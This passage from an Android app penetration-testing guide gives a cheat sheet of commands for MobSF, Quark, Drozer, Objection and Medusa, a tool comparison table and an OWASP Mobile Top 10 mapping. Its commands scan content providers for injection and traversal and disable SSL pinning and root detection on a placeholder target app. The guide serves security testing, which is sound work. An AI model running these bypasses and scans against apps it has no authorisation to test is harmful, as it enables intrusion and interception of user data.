Medusa git clone + pip install python3 medusa.py -f pkg
use module → compile → run
8.3 Automation Cheat Sheet
# MobSF API
HASH=$(curl -sF "file=@app.apk" http://localhost:8000/api/v1/upload \
-H "Authorization: KEY" | python3 -c "import sys,json;print(json.load(sys.stdin)['hash'])")
# Quark score
quark -a app.apk -s --json | python3 -c "
import sys,json; d=json.load(sys.stdin); print('Score:', d.get('crime_score','?'), '%')"
# Drozer attack surface
drozer console connect --command "run app.package.attacksurface com.target.app"
# Drozer all-in-one scan
for cmd in "scanner.provider.injection -a com.target.app" \
"scanner.provider.traversal -a com.target.app" \
"app.activity.info -a com.target.app"; do
drozer console connect --command "run $cmd"
done
# Objection all bypasses
objection -g com.target.app explore \
--startup-command "android sslpinning disable; android root disable"
# Medusa full monitor
python3 medusa.py -f com.target.app
# → load all monitoring modules → compile → run
8.4 Automation Tool Comparison
| Feature | MobSF | Quark | Drozer | Objection | Medusa |
|---|---|---|---|---|---|
| Static Analysis | ✅ Full | ✅ Behavioral | ❌ | ❌ | ❌ |
| Dynamic Analysis | ✅ Basic | ❌ | ✅ Component | ✅ Runtime | ✅ Runtime |
| SSL Bypass | ❌ | ❌ | ❌ | ✅ One-cmd | ✅ Module |
| Root Bypass | ❌ | ❌ | ❌ | ✅ One-cmd | ✅ Module |
| Component Attack | ❌ | ❌ | ✅ Expert | ❌ | ❌ |
| Malware Detection | ✅ | ✅ Behavioral | ❌ | ❌ | ✅ Modules |
| API/CI-CD | ✅ REST API | ✅ Python API | ❌ | ❌ | ❌ |
| Custom Scripts | ❌ | ✅ Rules | ✅ Modules | ✅ JS | ✅ Modules |
| No Root Needed | ✅ Static | ✅ | ❌ | ✅ Gadget | ✅ Gadget |
M1 Improper Credential Usage → MobSF (hardcoded creds) M2 Inadequate Supply Chain → MobSF (cert + SDK analysis) M3 Insecure Auth/Authorization → Drozer (component bypass) M4 Insufficient I/O Validation → Drozer (SQLi in providers) M5 Insecure Communication → Objection (SSL bypass + Burp) M6 Inadequate Privacy Controls → Medusa (data exfil monitoring) M7 Insufficient Binary Prot. → MobSF (anti-tamper checks) M8 Security Misconfiguration → MobSF (manifest analysis) M9 Insecure Data Storage → Objection (SQLite/SharedPrefs) M10 Insufficient Cryptography → MobSF + Medusa (crypto hooks)